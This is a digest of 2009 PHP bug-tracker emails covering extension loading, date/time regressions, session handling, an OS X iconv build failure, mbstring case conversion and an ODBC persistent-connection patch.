Your PHP installation does not support PostgreSQL. You need to
recompile PHP using the --with-pgsql configure option.

text in  php.ini: 
;extension=php_ming.dll
extension=php_mssql.dll
;extension=php_msql.dll
extension=php_mysql.dll





Expected result:

 
I have never had this happen before ?



Actual result:
--
libpq.dll is in the path.

Note: Cannot  mssql load, does not show up(loaded) in a  In  PHPINFO().


Problem be repeat in php 6.0, postgres and mssql no loaded

 






-- 
Edit this bug report at http://bugs.php.net/?id=48239edit=1



#48239 [Opn-Bgs]: Cannot Postgres loaded

2009-05-11 Thread jani
 ID:   48239
 Updated by:   j...@php.net
 Reported By:  aguiland06 at gmail dot com
-Status:   Open
+Status:   Bogus
 Bug Type: PostgreSQL related
 Operating System: windows xp
 PHP Version:  5.2.9
 New Comment:

Sorry, but your problem does not imply a bug in PHP itself.  For a
list of more appropriate places to ask for help using PHP, please
visit http://www.php.net/support.php as this bug system is not the
appropriate forum for asking support questions.  Due to the volume
of reports we can not explain in detail here why your report is not
a bug.  The support channels will be able to provide an explanation
for you.

Thank you for your interest in PHP.




Previous Comments:


[2009-05-12 00:03:33] aguiland06 at gmail dot com

php.ini

extension=php_mssql.dll
extension=php_mysql.dll
extension=php_mysqli.dll
extension=php_pdo_pgsql.dll
extension=php_pdo_sqlite.dll
extension=php_pgsql.dll

no loaded postgres



[2009-05-11 23:45:20] aguiland06 at gmail dot com

Description:

Cannot  Postgres loaded, PHP.INI indicates that it s loaded ?
does not show up(loaded) in a  In  PHPINFO(). 

 


Reproduce code:
---
Warning: pg_connect(): Unable to connect to PostgreSQL server

Running htpp://localhost/phppgamin:
Display Message:

Your PHP installation does not support PostgreSQL. You need to
recompile PHP using the --with-pgsql configure option.

text in  php.ini: 
;extension=php_ming.dll
extension=php_mssql.dll
;extension=php_msql.dll
extension=php_mysql.dll





Expected result:

 
I have never had this happen before ?



Actual result:
--
libpq.dll is in the path.

Note: Cannot  mssql load, does not show up(loaded) in a  In  PHPINFO().


Problem be repeat in php 6.0, postgres and mssql no loaded

 






-- 
Edit this bug report at http://bugs.php.net/?id=48239edit=1



#48234 [Opn-Bgs]: difference in strtotime results

2009-05-11 Thread jani
 ID:   48234
 Updated by:   j...@php.net
 Reported By:  ladjack at gmail dot com
-Status:   Open
+Status:   Bogus
 Bug Type: Date/time related
 Operating System: Windows XP SP3
 PHP Version:  5.2.9
 New Comment:

Please do not submit the same bug more than once. An existing
bug report already describes this very problem. Even if you feel
that your issue is somewhat different, the resolution is likely
to be the same. 

Thank you for your interest in PHP.




Previous Comments:


[2009-05-11 15:36:56] ladjack at gmail dot com

Description:

The difference in strtotime() output in different PHP versions on
Windows XP SP3 and CentOS.

Reproduce code:
---
$start_date = '2009-04-16'; // thursday
$fdate = strtotime($start_date .  +1 thursday);
echo date ( 'Y-m-d', $fdate );

Expected result:

2009-04-23


Actual result:
--
In PHP 5.2.6 will output:

2009-04-23

In PHP 5.2.8 and 5.2.9 will output:

2009-04-16





-- 
Edit this bug report at http://bugs.php.net/?id=48234edit=1



#48191 [Opn-Bgs]: Passing the Session ID won't work after disable session.use_cookies

2009-05-11 Thread jani
 ID:   48191
 Updated by:   j...@php.net
 Reported By:  jens at dutzi dot me
-Status:   Open
+Status:   Bogus
 Bug Type: Session related
 Operating System: Debian (lenny)
 PHP Version:  5.3.0RC2
 Assigned To:  fb-req-jani
 New Comment:

Yes, and this is not a bug. :)


Previous Comments:


[2009-05-11 15:11:37] jens at dutzi dot me

thanks - your hint about session.use_only_cookies was the solution.

It seems, the default-setting for this configuration option had been
changed from off to on:

[j...@linux www]# php529/bin/php -i |grep session.use_only_cookies  
session.use_only_cookies = Off = Off

[j...@linux www]# php530/bin/php -i |grep session.use_only_cookies  
session.use_only_cookies = On = On



[2009-05-08 21:31:02] j...@php.net

You must also check the session.use_only_cookies directive and set 
that also to 0 to be able to really use cookies. 



[2009-05-08 14:19:46] jens at dutzi dot me

Description:

When forcing PHP to not use cookies for sessions, PHP doesn't recognize
the existing session. Instead it will create a new one. Session files
will be created as expected.

The Bug can be reproduced with:
1.) ini_set('session.use_cookies', 0); in the php-code
and
2.) session.use_cookies = 0; in php.ini

The following sample code is identical to
http://www.php.net/manual/en/session.idpassing.php

Reproduce code:
---
?php
// Disable Cookie-Usage
ini_set('session.use_cookies', 0);

// Start the session
session_start();

if (empty($_SESSION['count'])) {
$_SESSION['count'] = 1;
} else {
$_SESSION['count']++;
}
?

pHello visitor, you have seen this page ?php echo
$_SESSION['count']; ? times./p
pTo continue, a href=test.php??php echo htmlspecialchars(SID);
?click here/a./p

Expected result:

On the first run, a new session should be created with
$_SESSION['count'] = 1. On everey reload $_SESSION['count'] should be
increased. (s.a. example #1 at
http://www.php.net/manual/en/session.idpassing.php)

Actual result:
--
On every run, PHP creates a new session with $_SESSION['count']=1.





-- 
Edit this bug report at http://bugs.php.net/?id=48191edit=1



#48195 [Opn-Asn]: iconv link failure

2009-05-11 Thread jani
 ID:   48195
 Updated by:   j...@php.net
 Reported By:  rickdunn at chez dot com
-Status:   Open
+Status:   Assigned
 Bug Type: Compile Failure
 Operating System: OS X 10.5.6
 PHP Version:  5.3.0RC2
 Assigned To:  scottmac


Previous Comments:


[2009-05-11 21:32:48] ajmiller at engr dot psu dot edu

I had the same problem with iconv on a Mac OS X Server 10.5.6 on an 
iMac G5. 

Using compiler and linker flags 
CFLAGS=-arch ppc64
CCFLAGS=-arch ppc64
CXXFLAGS=-arch ppc64
LDFLAGS=-arch ppc64
export CFLAGS CXXFLAGS LDFLAGS CCFLAGS
to force 64 bit

and then the following configure options did produce a functioning 
version of the php module. 

./configure '--prefix=/usr/local' '--mandir=/usr/share/man' '--
disable-all' '--with-xmlrpc' '--enable-libxml' '--
infodir=/usr/share/info' '--with-apxs2=/usr/sbin/apxs' '--with-
ldap=/usr' '--with-kerberos=/usr' '--enable-cli' '--with-zlib-
dir=/usr' '--enable-trans-sid' '--with-xml' '--enable-exif' '--enable-
ftp' '--enable-mbstring' '--enable-mbregex' '--enable-dbx' '--enable-
sockets' '--with-iodbc=/usr' '--with-curl=/usr' '--with-config-file-
path=/etc' '--sysconfdir=/private/etc' '--with-mysql-sock=/var/mysql' 
'--with-mysqli=mysqlnd' '--with-mysql=mysqlnd' '--with-openssl' '--
with-xmlrpc' '--enable-dom' '--with-xsl=/usr' '--enable-xml' '--with-
pear'

I've never used --disable-all before. Does it disable everything that 
is not explicitly enabled? Does this exclude something that caused the

link problems with iconv?

Also, for mysqlnd to build, I had to edit the mysqlnd_portability.h 
file like I described in the bug #48198 report I submitted previously.



[2009-05-11 20:57:48] rickdunn at chez dot com

The problem seems to be that the 5.3 RC2 build has a problem with the
-
arch x86_64 compiler flag.  If I run a stripped-down configure...

./configure --disable-all --with-iconv --with-apxs2

...I don't get any errors, but I'll end up with a 32-bit PHP module and

I'm running 64-bit Apache.

Compiling for 64-bit was not a problem with 5.2.x or 5.3 RC1.



[2009-05-11 18:35:07] rickdunn at chez dot com

I tried the 5.3-dev build at http://snaps.php.net/ and received the
same 
error.



[2009-05-10 18:38:58] scott...@php.net

Can you try with

./configure --disable-all --with-xmlrpc --enable-libxml


The above configures file for me on 10.5.6.



[2009-05-10 17:05:53] j...@php.net

Does this happen with current PHP_5_2 snapshot? (please try..)
http://snaps.php.net/



The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/48195

-- 
Edit this bug report at http://bugs.php.net/?id=48195edit=1



#47742 [Opn-Fbk]: mb_strtoupper() and mb_strtolower() failure cases

2009-05-11 Thread jani
 ID:   47742
 Updated by:   j...@php.net
 Reported By:  fsb at thefsb dot org
-Status:   Open
+Status:   Feedback
 Bug Type: mbstring related
 Operating System: os x
 PHP Version:  5.2.9
-Assigned To:  
+Assigned To:  fb-req-jani
 New Comment:

Please try using this CVS snapshot:

  http://snaps.php.net/php5.2-latest.tar.gz
 
For Windows:

  http://windows.php.net/snapshots/

Please do. :)


Previous Comments:


[2009-05-07 13:57:28] fsb at thefsb dot org

jani, that looks like an improvement. should i try out the may 7 
snapshot?



[2009-05-06 21:10:01] j...@php.net

Ignore the previous, this bad bug system messed up the input. :)
Here's the actual stuff: http://pecl.php.net/~jani/bug47742.out



[2009-05-06 21:07:33] j...@php.net

This script:
?php
$s = '#935;#953;#972;#957;#953;#945;,
#946;#961;#959;#967;#941;#962; #954;#945;#953;
#952;#965;#949;#955;#955;#974;#948;#949;#953;#962;
#940;#957;#949;#956;#959;#953;
#963;#965;#957;#952;#941;#964;#959;#965;#957; #964;#959;';
echo orig: $s\n;
$s = mb_strtoupper($s);
echo mb_strtoupper: $s\n;
$s = mb_convert_case($s, MB_CASE_UPPER, UTF-8);
echo mb_convert_case (upper): $s\n;
$s = mb_strtolower($s);
echo mb_strtolower: $s\n;
$s = mb_convert_case($s, MB_CASE_LOWER, UTF-8);
echo mb_convert_case (lower): $s\n;
?

Outputs:

orig: #935;#953;#972;#957;#953;#945;,
#946;#961;#959;#967;#941;#962; #954;#945;#953;
#952;#965;#949;#955;#955;#974;#948;#949;#953;#962;
#940;#957;#949;#956;#959;#953;
#963;#965;#957;#952;#941;#964;#959;#965;#957; #964;#959;
mb_strtoupper: #935;#921;#908;#925;#921;#913;,
#914;#929;#927;#935;#904;#931; #922;#913;#921;
#920;#933;#917;#923;#923;#911;#916;#917;#921;#931;
#902;#925;#917;#924;#927;#921;
#931;#933;#925;#920;#904;#932;#927;#933;#925; #932;#927;
mb_convert_case (upper): #935;#921;#908;#925;#921;#913;,
#914;#929;#927;#935;#904;#931; #922;#913;#921;
#920;#933;#917;#923;#923;#911;#916;#917;#921;#931;
#902;#925;#917;#924;#927;#921; 
#931;#933;#925;#920;#904;#932;#927;#933;#925; #932;#927;
mb_strtolower: #967;#953;#972;#957;#953;#945;,
#946;#961;#959;#967;#941;#963; #954;#945;#953;
#952;#965;#949;#955;#955;#974;#948;#949;#953;#963;
#940;#957;#949;#956;#959;#953;
#963;#965;#957;#952;#941;#964;#959;#965;#957; #964;#959;
mb_convert_case (lower): #967;#953;#972;#957;#953;#945;,
#946;#961;#959;#967;#941;#963; #954;#945;#953;
#952;#965;#949;#955;#955;#974;#948;#949;#953;#963;
#940;#957;#949;#956;#959;#953; 
#963;#965;#957;#952;#941;#964;#959;#965;#957; #964;#959;

And this is quite correct..



[2009-05-05 11:37:26] fsb at thefsb dot org

in both test scripts i provided yesterday, the character set is unicode

and the encoding is utf-8.

in the short test script that i provided 4 May 7:02pm UTC, there is
only 
one short Hangul test string and no Greek, as you said.

in the longer test script i provided at 4 May 5:00pm UTC, several 
alphabets are used including Greek, Cyrillic, Hebrew, Arabic, Thai, 
Kanji, ...

in case it makes life easier for you, i put the longer test script on a

web server: http://tomworster.net/test.php.gz  it's only 1kbyte.



[2009-05-05 02:02:39] j...@php.net

One last question: What is the charset you used? I don't see any greek

chars anywhere.. ;)



The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/47742

-- 
Edit this bug report at http://bugs.php.net/?id=47742edit=1



#20298 [Opn-Fbk]: [PATCH] odbc.check_persistent not working

2009-05-11 Thread jani
 ID:   20298
 Updated by:   j...@php.net
 Reported By:  phpbug at tab1 dot clara dot co dot uk
-Status:   Open
+Status:   Feedback
 Bug Type: ODBC related
 Operating System: *
-PHP Version:  5CVS, 4CVS (2004-04-13)
+PHP Version:  5CVS-2004-04-13
 New Comment:

Please try using this CVS snapshot:

  http://snaps.php.net/php5.2-latest.tar.gz
 
For Windows:

  http://windows.php.net/snapshots/




Previous Comments:


[2005-07-27 10:57:57] t-yonetani+php at ergobrains dot co dot jp

Here's a patch written according to phpbugs at kevin dot offwhite dot
net's
suggestion(I hope space and tabs won't be damanged).  We're using a
similar
version(just by replacing SQLGetInfo() with SQLGetConnectAttr()) on a
spare
machine, and odbc_pconnect() seems to be working so far.  Uncommenting
out
the code for fixing #15758 is a bit scary, but I believe it should be
OK.

Index: php_odbc.c
===
RCS file: /repository/php-src/ext/odbc/php_odbc.c,v
retrieving revision 1.143.2.12
diff -u -r1.143.2.12 php_odbc.c
--- php_odbc.c  14 Jun 2003 03:37:30 -  1.143.2.12
+++ php_odbc.c  27 Jul 2005 08:47:05 -
@@ -2156,6 +2156,29 @@
 }
 /* }}} */
 
+/* {{{ is_connection_dead */
+static int is_connection_dead(odbc_connection *db_conn)
+{
+#if defined(HAVE_IBMDB2)
+#else
+   UCHAR d_name[32];
+   SWORD len;
+#endif
+   SQLINTEGER dead;
+   RETCODE ret;
+
+#if defined(HAVE_IBMDB2)
+   ret = SQLGetConnectAttr(db_conn-hdbc, SQL_ATTR_CONNECTION_DEAD,
dead,
+   0, NULL);
+#else
+   ret = SQLGetInfo(db_conn-hdbc, SQL_DATA_SOURCE_READ_ONLY, d_name,
+sizeof(d_name), len);
+   dead = len == 0;
+#endif
+   return ret != SQL_SUCCESS || dead;
+}
+/* }}} */
+
 /* Persistent connections: two list-types le_pconn, le_conn and a
plist
  * where hashed connection info is stored together with index pointer
to
  * the actual link of type le_pconn in the list. Only persistent 
@@ -2282,23 +2305,13 @@
 * check to see if the connection is still in place 
(lurcher)
 */
if(ODBCG(check_persistent)){
-   RETCODE ret;
-   UCHAR d_name[32];
-   SWORD len;
-
-   ret = SQLGetInfo(db_conn-hdbc, 
-   SQL_DATA_SOURCE_READ_ONLY, 
-   d_name, sizeof(d_name), len);
-
-   if(ret != SQL_SUCCESS || len == 0) {
+   if(is_connection_dead(db_conn)) {
zend_hash_del(EG(persistent_list), 
hashed_details, hashed_len +
1);
-   /* Commented out to fix a possible 
double closure error 
-* when working with persistent 
connections as submitted by
-* bug #15758
-*
-* safe_odbc_disconnect(db_conn-hdbc);
-* SQLFreeConnect(db_conn-hdbc);
+   /*
+* now that we know the connection is 
dead, just free
+* the DBC handle without issuing 
SQLDisconnect().
 */
+   SQLFreeConnect(db_conn-hdbc);
goto try_and_get_another_connection;
}
}



[2004-06-04 22:06:49] phpbugs at kevin dot offwhite dot net

Well, after some additional research I have turned up what I think is
the exact cause of the bug, but I don't feel qualified to implement the
solution.

In the php code, at line 2271 in php_odbc.c (
http://lxr.php.net/source/php-src/ext/odbc/php_odbc.c#2271 ), php calls
SQLGetInfo() passing a parameter of SQL_DATA_SOURCE_READ_ONLY to try and
determine if the connection is alive or not.  While this may work in
some odbc drivers, it is not the official way of asking if the
connection is dead.  According to my driver supplier (
http://www-912.ibm.com/o_dir/odbcforum.nsf/8178b1c14b1e9b6b8525624f0062fe9f/B0CFDBA3D8DBAC0F86256EA80077D2B9?OpenDocument
) and the Microsoft's ODBC Programmer's reference (
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/odbc/htm/odbcodbc_connection_pooling.asp
), the correct method is to use SQLGetConnectAttr() to check the
Attribute SQL_ATTR_CONNECTION_DEAD.


Steps to reproduce:
  1) Use PHP's odbc_pconnect() function with 

#39279 [Asn-Fbk]: mb_ereg_replace() has an error

2009-05-11 Thread jani
 ID:   39279
 Updated by:   j...@php.net
 Reported By:  ivb at is dot ua
-Status:   Assigned
+Status:   Feedback
 Bug Type: mbstring related
 Operating System: *
 PHP Version:  5CVS-2008-10-31 (CVS)
 Assigned To:  masugata
 New Comment:

Please try using this CVS snapshot:

  http://snaps.php.net/php5.2-latest.tar.gz
 
For Windows:

  http://windows.php.net/snapshots/




Previous Comments:


[2008-10-31 14:45:52] j...@php.net

3rd anniversary gift to mr. Masugata: You got feedback. What's the
status with this now?



[2007-01-22 11:42:55] ivb at is dot ua

feedback sent via e-mail



[2007-01-22 10:20:42] masug...@php.net

Oh! This is a big help.
Give me, your php.ini and program.
Please send to 'masug...@php.net'.

Thank You.




[2006-12-27 06:13:20] ivb at is dot ua

Yes, I confirm that bug exists and I can reproduce it. I download
latest snapshot and take my example from this report. The result still
{abc..def}{ab\1...\2ef} instead of {abc..def}{abc...def}.

If you need any my assistance (my php.ini f.e.) please feel free to
contact with me by my e-mail.



[2006-12-27 04:59:35] masug...@php.net

Please try using this CVS snapshot:

  http://snaps.php.net/php5.2-latest.tar.gz
 
For Windows:
 
  http://snaps.php.net/win32/php5.2-win32-latest.zip

I have tried Reproduce code in snapshot.
But, did not become the result of your report.

Could you confirm it again?

Thank you.




The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/39279

-- 
Edit this bug report at http://bugs.php.net/?id=39279edit=1



#48195 [Asn]: iconv link failure

2009-05-11 Thread scottmac
 ID:   48195
 Updated by:   scott...@php.net
 Reported By:  rickdunn at chez dot com
 Status:   Assigned
 Bug Type: Compile Failure
 Operating System: OS X 10.5.6
 PHP Version:  5.3.0RC2
 Assigned To:  scottmac
 New Comment:

Can you apply
http://whisky.macvicar.net/patches/apache2handler.patch.txt

Run ./buildconf and then configure again.

This should fix the issue you're having.


Previous Comments:


[2009-05-11 21:32:48] ajmiller at engr dot psu dot edu

I had the same problem with iconv on a Mac OS X Server 10.5.6 on an 
iMac G5. 

Using compiler and linker flags 
CFLAGS=-arch ppc64
CCFLAGS=-arch ppc64
CXXFLAGS=-arch ppc64
LDFLAGS=-arch ppc64
export CFLAGS CXXFLAGS LDFLAGS CCFLAGS
to force 64 bit

and then the following configure options did produce a functioning 
version of the php module. 

./configure '--prefix=/usr/local' '--mandir=/usr/share/man' '--
disable-all' '--with-xmlrpc' '--enable-libxml' '--
infodir=/usr/share/info' '--with-apxs2=/usr/sbin/apxs' '--with-
ldap=/usr' '--with-kerberos=/usr' '--enable-cli' '--with-zlib-
dir=/usr' '--enable-trans-sid' '--with-xml' '--enable-exif' '--enable-
ftp' '--enable-mbstring' '--enable-mbregex' '--enable-dbx' '--enable-
sockets' '--with-iodbc=/usr' '--with-curl=/usr' '--with-config-file-
path=/etc' '--sysconfdir=/private/etc' '--with-mysql-sock=/var/mysql' 
'--with-mysqli=mysqlnd' '--with-mysql=mysqlnd' '--with-openssl' '--
with-xmlrpc' '--enable-dom' '--with-xsl=/usr' '--enable-xml' '--with-
pear'

I've never used --disable-all before. Does it disable everything that 
is not explicitly enabled? Does this exclude something that caused the

link problems with iconv?

Also, for mysqlnd to build, I had to edit the mysqlnd_portability.h 
file like I described in the bug #48198 report I submitted previously.



[2009-05-11 20:57:48] rickdunn at chez dot com

The problem seems to be that the 5.3 RC2 build has a problem with the
-
arch x86_64 compiler flag.  If I run a stripped-down configure...

./configure --disable-all --with-iconv --with-apxs2

...I don't get any errors, but I'll end up with a 32-bit PHP module and

I'm running 64-bit Apache.

Compiling for 64-bit was not a problem with 5.2.x or 5.3 RC1.



[2009-05-11 18:35:07] rickdunn at chez dot com

I tried the 5.3-dev build at http://snaps.php.net/ and received the
same 
error.



[2009-05-10 18:38:58] scott...@php.net

Can you try with

./configure --disable-all --with-xmlrpc --enable-libxml


The above configures file for me on 10.5.6.



[2009-05-10 17:05:53] j...@php.net

Does this happen with current PHP_5_2 snapshot? (please try..)
http://snaps.php.net/



The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/48195

-- 
Edit this bug report at http://bugs.php.net/?id=48195edit=1



#48239 [Bgs]: Cannot Postgres loaded

2009-05-11 Thread aguiland06 at gmail dot com
 ID:   48239
 User updated by:  aguiland06 at gmail dot com
 Reported By:  aguiland06 at gmail dot com
 Status:   Bogus
 Bug Type: PostgreSQL related
 Operating System: windows xp
 PHP Version:  5.2.9
 New Comment:

Thanks.


Previous Comments:


[2009-05-12 02:00:06] j...@php.net

Sorry, but your problem does not imply a bug in PHP itself.  For a
list of more appropriate places to ask for help using PHP, please
visit http://www.php.net/support.php as this bug system is not the
appropriate forum for asking support questions.  Due to the volume
of reports we can not explain in detail here why your report is not
a bug.  The support channels will be able to provide an explanation
for you.

Thank you for your interest in PHP.





[2009-05-12 00:03:33] aguiland06 at gmail dot com

php.ini

extension=php_mssql.dll
extension=php_mysql.dll
extension=php_mysqli.dll
extension=php_pdo_pgsql.dll
extension=php_pdo_sqlite.dll
extension=php_pgsql.dll

no loaded postgres



[2009-05-11 23:45:20] aguiland06 at gmail dot com

Description:

Cannot  Postgres loaded, PHP.INI indicates that it s loaded ?
does not show up(loaded) in a  In  PHPINFO(). 

 


Reproduce code:
---
Warning: pg_connect(): Unable to connect to PostgreSQL server

Running htpp://localhost/phppgamin:
Display Message:

Your PHP installation does not support PostgreSQL. You need to
recompile PHP using the --with-pgsql configure option.

text in  php.ini: 
;extension=php_ming.dll
extension=php_mssql.dll
;extension=php_msql.dll
extension=php_mysql.dll





Expected result:

 
I have never had this happen before ?



Actual result:
--
libpq.dll is in the path.

Note: Cannot  mssql load, does not show up(loaded) in a  In  PHPINFO().


Problem be repeat in php 6.0, postgres and mssql no loaded

 






-- 
Edit this bug report at http://bugs.php.net/?id=48239edit=1



#48239 [Bgs]: Cannot Postgres loaded

2009-05-11 Thread aguiland06 at gmail dot com
 ID:   48239
 User updated by:  aguiland06 at gmail dot com
 Reported By:  aguiland06 at gmail dot com
 Status:   Bogus
 Bug Type: PostgreSQL related
 Operating System: windows xp
 PHP Version:  5.2.9
 New Comment:

Thanks. but,  php 5.2.9 and 6.0, postgres and mssql no loaded, Problem
be repeat in php 6.0, postgres and mssql no loaded. 
but I'll have a go if I can't solve it, I reverted to php 5.2.5 and it
all worked again.


Previous Comments:


[2009-05-12 02:54:15] aguiland06 at gmail dot com

Thanks.



[2009-05-12 02:00:06] j...@php.net

Sorry, but your problem does not imply a bug in PHP itself.  For a
list of more appropriate places to ask for help using PHP, please
visit http://www.php.net/support.php as this bug system is not the
appropriate forum for asking support questions.  Due to the volume
of reports we can not explain in detail here why your report is not
a bug.  The support channels will be able to provide an explanation
for you.

Thank you for your interest in PHP.





[2009-05-12 00:03:33] aguiland06 at gmail dot com

php.ini

extension=php_mssql.dll
extension=php_mysql.dll
extension=php_mysqli.dll
extension=php_pdo_pgsql.dll
extension=php_pdo_sqlite.dll
extension=php_pgsql.dll

no loaded postgres



[2009-05-11 23:45:20] aguiland06 at gmail dot com

Description:

Cannot  Postgres loaded, PHP.INI indicates that it s loaded ?
does not show up(loaded) in a  In  PHPINFO(). 

 


Reproduce code:
---
Warning: pg_connect(): Unable to connect to PostgreSQL server

Running htpp://localhost/phppgamin:
Display Message:

Your PHP installation does not support PostgreSQL. You need to
recompile PHP using the --with-pgsql configure option.

text in  php.ini: 
;extension=php_ming.dll
extension=php_mssql.dll
;extension=php_msql.dll
extension=php_mysql.dll





Expected result:

 
I have never had this happen before ?



Actual result:
--
libpq.dll is in the path.

Note: Cannot  mssql load, does not show up(loaded) in a  In  PHPINFO().


Problem be repeat in php 6.0, postgres and mssql no loaded

 






-- 
Edit this bug report at http://bugs.php.net/?id=48239edit=1



#48232 [NEW]: date_modify miscalculates forward from end of month

2009-05-11 Thread vqkq7ov02 at sneakemail dot com
From: vqkq7ov02 at sneakemail dot com
Operating system: Linux
PHP version:  5.2.9
PHP Bug Type: Unknown/Other Function
Bug description:  date_modify miscalculates forward from end of month

Description:

When date_modify() is given the last day of a month and asked to add one
weekday (e.g. +1 Sunday), if the last day of the month is that same
weekday, then date_modify() doesn't add a week-- it returns the same date
it was given.

This problem occurs in PHP 5.2.9.  It doesn't occur in PHP 5.2.6, which
returns the correct result.


Reproduce code:
---
?php
echo PHP Version = , phpversion(), \n;
$dt = new DateTime();
date_date_set($dt, 2009, 5, 31);
echo 'Before date_modify: ', $dt-format('l m/j/y'), \n;
$action = +1 Sunday;
date_modify($dt, $action);
echo After date_modify ($action): ,  $dt-format('l m/j/y') , \n,
Should be Sunday 6/7/09\n;
?


Expected result:

PHP Version = 5.2.6-3ubuntu4.1
Before date_modify: Sunday 05/31/09
After date_modify (+1 Sunday): Sunday 06/7/09
Should be Sunday 6/7/09


Actual result:
--
PHP Version = 5.2.9-2
Before date_modify: Sunday 05/31/09
After date_modify (+1 Sunday): Sunday 05/31/09
Should be Sunday 6/7/09

-- 
Edit bug report at http://bugs.php.net/?id=48232edit=1
-- 
Try a CVS snapshot (PHP 5.2):
http://bugs.php.net/fix.php?id=48232r=trysnapshot52
Try a CVS snapshot (PHP 5.3):
http://bugs.php.net/fix.php?id=48232r=trysnapshot53
Try a CVS snapshot (PHP 6.0):
http://bugs.php.net/fix.php?id=48232r=trysnapshot60
Fixed in CVS:
http://bugs.php.net/fix.php?id=48232r=fixedcvs
Fixed in CVS and need be documented: 
http://bugs.php.net/fix.php?id=48232r=needdocs
Fixed in release:
http://bugs.php.net/fix.php?id=48232r=alreadyfixed
Need backtrace:  
http://bugs.php.net/fix.php?id=48232r=needtrace
Need Reproduce Script:   
http://bugs.php.net/fix.php?id=48232r=needscript
Try newer version:   
http://bugs.php.net/fix.php?id=48232r=oldversion
Not developer issue: 
http://bugs.php.net/fix.php?id=48232r=support
Expected behavior:   
http://bugs.php.net/fix.php?id=48232r=notwrong
Not enough info: 
http://bugs.php.net/fix.php?id=48232r=notenoughinfo
Submitted twice: 
http://bugs.php.net/fix.php?id=48232r=submittedtwice
register_globals:
http://bugs.php.net/fix.php?id=48232r=globals
PHP 4 support discontinued:  http://bugs.php.net/fix.php?id=48232r=php4
Daylight Savings:http://bugs.php.net/fix.php?id=48232r=dst
IIS Stability:   
http://bugs.php.net/fix.php?id=48232r=isapi
Install GNU Sed: 
http://bugs.php.net/fix.php?id=48232r=gnused
Floating point limitations:  
http://bugs.php.net/fix.php?id=48232r=float
No Zend Extensions:  
http://bugs.php.net/fix.php?id=48232r=nozend
MySQL Configuration Error:   
http://bugs.php.net/fix.php?id=48232r=mysqlcfg



#47507 [Fbk-Opn]: PHP Notice: iconv(): Wrong charset

2009-05-11 Thread aboh24 at gmx dot de
 ID:   47507
 User updated by:  aboh24 at gmx dot de
 Reported By:  aboh24 at gmx dot de
-Status:   Feedback
+Status:   Open
 Bug Type: ICONV related
 Operating System: Solaris 10 / 64-bit
 PHP Version:  5.2.9
 Assigned To:  fb-req-jani
 New Comment:

Changing --with-iconv-dir=$PX  to --with-iconv=$PX fixes the problem.
Case can be closed. Thank your very much for your help. Greetings
Andreas


Previous Comments:


[2009-05-07 16:08:01] j...@php.net

You should actually read the help not grep for iconv in it and you'd 
know what the difference is. Now, did you try it or not?



[2009-05-07 06:56:45] aboh24 at gmx dot de

Sure that I need to use --with-iconv-dir=$PX instead  --with-iconv=$PX?
Sorry if I ask because the help message of the configure file display
vice versa.


src/php5.2-200904280430 $ ./configure --help | grep iconv
  --without-iconv[=DIR]   Exclude iconv support
  --with-iconv-dir=DIR  XMLRPC-EPI: iconv dir for XMLRPC-EPI

However I will test your suggestion soon.

---

Is there any more infoamtion I can provide to support you? 


---

BTW: What does reason: ICONV_IMPL != libiconv mean.



[2009-05-06 20:46:43] j...@php.net

I missed this earlier, you're using wrong configure options.
Just change the --with-iconv-dir=$PX to --with-iconv=$PX and try again.

Note: Do this with clean build dir.

Also, do not paste more test result outputs here, they're no value for

us. Just telling which tests fail is more useful. 




[2009-02-26 10:29:13] aboh24 at gmx dot de

This could maybe useful:

user# /usr/lib/iconv/UTF-8%ISO8859-1*
/usr/lib/iconv/UTF-8%ISO8859-11.so


it is mentioned in the truss output of the test php program:

access(/usr/lib/iconv/geniconvtbl/binarytables/UTF-8%ISO-8859-1//TRANSLIT.bt,
R_OK) Err#2 ENOENT
access(/usr/lib/iconv/UTF-8%ISO-8859-1//TRANSLIT.so, R_OK) Err#2
ENOENT
open(/usr/lib/iconv/alias, O_RDONLY)  = 3
fstat64(3, 0xFFBFEE60)  = 0
mmap(0x, 6311, PROT_READ, MAP_SHARED, 3, 0) = 0xFF3A
close(3)= 0
munmap(0xFF3A, 6311)= 0
access(/usr/lib/iconv/geniconvtbl/binarytables/UTF-8%ISO-8859-1//TRANSLIT.bt,
R_OK) Err#2 ENOENT
access(/usr/lib/iconv/UTF-8%ISO-8859-1//TRANSLIT.so, R_OK) Err#2
ENOENT
PHP Notice:  iconv(): Wrong charset, conversion from `UTF-8' to
`ISO-8859-1//TRANSLIT' is not allowed in /test.php on line 13write(2, 
P H P   N o t i c e :  .., 151)  = 151

write(2, \n, 1)



[2009-02-26 08:59:45] aboh24 at gmx dot de

truss ./test.php
...
access(/usr/lib/iconv/geniconvtbl/binarytables/UTF-8%8859-1.bt, R_OK)
Err#2 ENOENT
access(/usr/lib/iconv/UTF-8%8859-1.so, R_OK)  = 0
stat(/usr/lib/iconv/UTF-8%8859-1.so, 0xFFBFE8A0) = 0
resolvepath(/usr/lib/iconv/UTF-8%8859-1.so,
/usr/lib/iconv/UTF-8%8859-1.so, 1023) = 30
open(/usr/lib/iconv/UTF-8%8859-1.so, O_RDONLY) = 4
...


Althoug the php was build with a local libiconv and explicit setting of
the prefix-path and LD_LIBRARY_PATH and --with-iconv-dir, etc. the
system want to load the iconv from  /usr/lib/iconv which do not
exists... :-(



The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/47507

-- 
Edit this bug report at http://bugs.php.net/?id=47507edit=1



#48201 [Opn]: wrong behaviour and crash with imap_mail_compose()

2009-05-11 Thread carsten_sttgt at gmx dot de
 ID:   48201
 User updated by:  carsten_sttgt at gmx dot de
 Reported By:  carsten_sttgt at gmx dot de
 Status:   Open
 Bug Type: IMAP related
 Operating System: *
 PHP Version:  5.*, 6CVS (2009-05-09)
 New Comment:

 This bug might be actually bug in c-client though..

I guess it's more that PHP is just using rfc822_encode_body_7bit() to
the whole message (topbod is including all bodies from each message
part), instead of process each body part separately, according to the
encoding which is set.  

rfc822_encode_body_7bit is forcing a 7bit transfer, and so ENC8BIT must
switch to quoted-printable.


Previous Comments:


[2009-05-10 16:40:02] j...@php.net

This bug might be actually bug in c-client though..



[2009-05-10 16:39:46] j...@php.net

Thanks for that. Just want to get the version info right. Just FYI, 
whenever you know that a bug exists in certain branch, please update
the 
